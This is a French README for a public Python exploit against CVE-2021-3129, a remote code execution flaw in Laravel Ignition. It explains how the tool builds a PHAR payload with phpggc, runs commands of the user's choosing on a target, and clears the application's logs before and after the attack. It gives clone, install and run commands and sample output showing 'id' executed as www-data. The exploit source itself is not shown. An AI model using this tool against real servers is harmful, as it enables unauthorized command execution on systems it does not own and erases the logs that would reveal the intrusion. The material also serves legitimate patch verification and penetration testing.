CVE-2021-3129 Laravel Ignition RCE Exploit

Ceci est un script d'exploitation Python pour CVE-2021-3129, une vulnérabilité d'exécution de code à distance dans Laravel lorsque le package Ignition est installé. Cette vulnérabilité permet à un attaquant d'exécuter des commandes système arbitraires via la désérialisation PHAR.

Fonctionnalités

• Génère automatiquement la charge utile PHAR en utilisant phpggc
• Accepte la saisie utilisateur pour toute commande à exécuter (ex : id, whoami, etc.)
• Automatise l'ensemble du processus d'exploitation, y compris l'effacement des logs, l'injection de la charge utile, la conversion des logs en PHAR et le déclenchement de la désérialisation

Prérequis

• Python 3.x
• Bibliothèque requests
• PHP installé sur votre système
• phpggc installé (pour générer les charges utiles PHAR)

Installation

1. Clonez le dépôt :

   git clone https://github.com/0x0d3ad/CVE-2021-3129.git
   cd CVE-2021-3129
   

2. Installez les paquets Python requis :

   pip install requests
   

3. Exécutez le script avec la cible et la commande souhaitées :

   python3 CVE-2021-3129.py http://example.com --cmd 'id'
   

   Exemple de sortie :

   [+] Generating PHAR payload for command: id
   [+] Trying to clear logs
   [+] Logs cleared
   [+] Convert log file to PHAR
   [+] Successfully converted logs to PHAR
   [+] PHAR deserialized
   ---------------------------------------
   uid=33(www-data) gid=33(www-data) groups=33(www-data)
   ---------------------------------------
   [+] Trying to clear logs
   [+] Logs cleared
   

Arguments

• target (obligatoire) : L'URL de l'application Laravel vulnérable.
• --cmd (optionnel) : La commande à exécuter sur la cible (par défaut : whoami).
• --log_path (optionnel) : Le chemin du fichier de log à utiliser (par défaut : ../storage/logs/laravel.log).

POC